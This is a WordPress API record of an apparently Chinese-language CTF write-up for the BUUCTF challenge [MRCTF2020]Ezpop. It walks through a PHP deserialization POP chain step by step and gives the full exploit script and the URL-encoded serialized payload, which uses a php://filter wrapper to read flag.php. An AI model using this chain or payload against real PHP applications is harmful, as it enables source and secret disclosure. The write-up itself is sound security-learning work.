{"id":124,"date":"2026-05-15T11:23:34","date_gmt":"2026-05-15T03:23:34","guid":{"rendered":"https:\/\/asum1.fun\/?p=124"},"modified":"2026-05-15T11:24:13","modified_gmt":"2026-05-15T03:24:13","slug":"buuctf-mrctf2020ezpop","status":"publish","type":"post","link":"https:\/\/asum1.fun\/index.php\/2026\/05\/15\/buuctf-mrctf2020ezpop\/","title":{"rendered":"buuctf-[MRCTF2020]Ezpop"},"content":{"rendered":"\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/flag is in flag.php\n\/\/WTF IS THIS?\n\/\/Learn From https:\/\/ctf.ieki.xyz\/library\/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95\n\/\/And Crack It!\nclass Modifier {\n    protected  $var;\n    \/\/ public function append($value){\n    \/\/     include($value);\n    \/\/ }\n    \/\/ public function __invoke(){\n    \/\/     $this->append($this->var);\n    \/\/ }\n}\n\nclass Show{\n    public $source;\n    public $str;\n    \/\/ public function __construct($file='index.php'){\n    \/\/     $this->source = $file;\n    \/\/     echo 'Welcome to '.$this->source.\"&lt;br>\";\n    \/\/ }\n    \/\/ public function __toString(){\n    \/\/     return $this->str->source;\n    \/\/ }\n\n    \/\/ public function __wakeup(){\n    \/\/     if(preg_match(\"\/gopher|http|file|ftp|https|dict|\\.\\.\/i\", $this->source)) {\n    \/\/         echo \"hacker\";\n    \/\/         $this->source = \"index.php\";\n    \/\/     }\n    \/\/ }\n}\n\nclass Test{\n    public $p;\n    \/\/ public function __construct(){\n    \/\/     $this->p = array();\n    \/\/ }\n\n    \/\/ public function __get($key){\n    \/\/     $function = $this->p;\n    \/\/     return $function();\n    \/\/ }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u6e90\u7801\u590d\u5236\u51fa\u6765\uff0c\u628a\u65b9\u6cd5\u6ce8\u91ca\u6389\uff0c\u53ea\u7559\u4e0b\u5c5e\u6027<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.\u5bfb\u627e\u5371\u9669\u7684\u65b9\u6cd5\uff0c\u8fd9\u91cc\u6839\u636e\u6ce8\u91ca\u77e5\u9053\u76ee\u6807\u6587\u4ef6flag.php\uff0c\u53ef\u4ee5\u770b\u5230Modifier\u91cc\u6709\u4e00\u4e2ainclude()\uff0c\u660e\u663e\u8981\u6267\u884c\u6587\u4ef6\u5305\u542b\uff0c\u8fd9\u91cc\u5c31\u53ef\u4ee5\u6784\u9020<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>$a=new Modifier();<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3.\u6839\u636e\u9b54\u672f\u65b9\u6cd5__invoke()\u8981\u628a\u4e00\u4e2aModifier\u7c7b\uff08\u4e5f\u5c31\u662f$a\uff09\u5f53\u4f5c\u51fd\u6570\u6267\u884c\uff0c\u8fd9\u91cc\u770b\u5230Test\u7c7b\u4e2d\u6709\u4e00\u4e2a<code>return $function();<\/code>\uff0c\u800cfunction()\u662f\u53ef\u63a7\u7684\uff0c\u6240\u4ee5\u7528Test\u7684__get()\u9b54\u672f\u6765\u89e6\u53d1Modifier()\u7684__invoke()\u3002\u4e8e\u662f\u6784\u9020<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>$b=new Test();$b->p=$a;<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4.\u6839\u636e\u9b54\u672f\u65b9\u6cd5__get()\u8981\u8bbf\u95eeTest\u7c7b\uff08$b\uff09\u7684\u4e00\u4e2a\u4e0d\u5b58\u5728\u6216\u8005\u79c1\u6709\u7684\u5143\u7d20\uff0c\u8fd9\u91cc\u770b\u5230Show\u7c7b\u4e2d\u6709\u4e00\u4e2a<code>return $this->str->source;<\/code>\uff0c\u800cstr\u662f\u53ef\u63a7\u7684\uff0c\u6240\u4ee5\u7528Show\u7684__toString()\u9b54\u672f\u6765\u89e6\u53d1Test\u7684__get(),\u6784\u9020<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>$c=new Show();$c->str=$b;<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">5.\u6839\u636e\u9b54\u672f\u65b9\u6cd5__toString()\u8981\u628aShow\u7c7b\uff08$c\uff09\u5f53\u4f5c\u5b57\u7b26\u4e32\u6267\u884c\uff0c\u8fd9\u91cc\u770b\u5230<code>echo 'Welcome to '.$this->source.\"&lt;br>\";<\/code>\uff0c\u4e8e\u662f\u6784\u9020<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>$d=new Show();$d->source=$c;<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">6.\u800c__construct()\uff0c\u662f\u81ea\u52a8\u89e6\u53d1\u7684\uff0c\u6240\u4ee5pop\u94fe\u5c31\u5df2\u7ecf\u6784\u9020\u597d\u4e86__construct()->__toString->__get()->__invoke()->include($var)\uff0c\u8bb0\u5f97\u628a$a\u7684$var\u5c5e\u6027\u76f4\u63a5\u8d4b\u503c\u4e3a\u201cphp:\/\/filter\/convert.base64-encode\/resource=flag.php\u201d\uff0c\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass Modifier {\n    protected  $var=\"php:\/\/filter\/convert.base64-encode\/resource=flag.php\";\n    \/\/ public function append($value){\n    \/\/     include($value);\n    \/\/ }\n    \/\/ public function __invoke(){\n    \/\/     $this->append($this->var);\n    \/\/ }\n}\n\nclass Show{\n    public $source;\n    public $str;\n    \/\/ public function __construct($file='index.php'){\n    \/\/     $this->source = $file;\n    \/\/     echo 'Welcome to '.$this->source.\"&lt;br>\";\n    \/\/ }\n    \/\/ public function __toString(){\n    \/\/     return $this->str->source;\n    \/\/ }\n\n    \/\/ public function __wakeup(){\n    \/\/     if(preg_match(\"\/gopher|http|file|ftp|https|dict|\\.\\.\/i\", $this->source)) {\n    \/\/         echo \"hacker\";\n    \/\/         $this->source = \"index.php\";\n    \/\/     }\n    \/\/ }\n}\n\nclass Test{\n    public $p;\n    \/\/ public function __construct(){\n    \/\/     $this->p = array();\n    \/\/ }\n\n    \/\/ public function __get($key){\n    \/\/     $function = $this->p;\n    \/\/     return $function();\n    \/\/ }\n}\n$a=new Modifier();\n$b=new Test();\n$b->p=$a;\n$c=new Show();\n$c->str=$b;\n$d=new Show();\n$d->source=$c;\n\necho(urlencode(serialize($d)));\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230\u7ed3\u679c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f20\u56depop<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-10-1024x402.png'><img class=\"lazyload lazyload-style-5\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"402\" data-original=\"https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-10-1024x402.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-127\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-11-1024x434.png'><img class=\"lazyload lazyload-style-5\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"434\" data-original=\"https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-11-1024x434.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-128\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u540ebase64\u89e3\u7801\u5f97\u5230flag<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1.\u6e90\u7801\u590d\u5236\u51fa\u6765\uff0c\u628a\u65b9\u6cd5\u6ce8\u91ca\u6389\uff0c\u53ea\u7559\u4e0b\u5c5e\u6027 2.\u5bfb\u627e\u5371\u9669\u7684\u65b9\u6cd5\uff0c\u8fd9\u91cc\u6839\u636e\u6ce8\u91ca\u77e5\u9053\u76ee\u6807\u6587\u4ef6flag.php\uff0c\u53ef\u4ee5 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":117,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-124","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/comments?post=124"}],"version-history":[{"count":4,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/124\/revisions"}],"predecessor-version":[{"id":132,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/124\/revisions\/132"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media\/117"}],"wp:attachment":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media?parent=124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/categories?post=124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/tags?post=124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}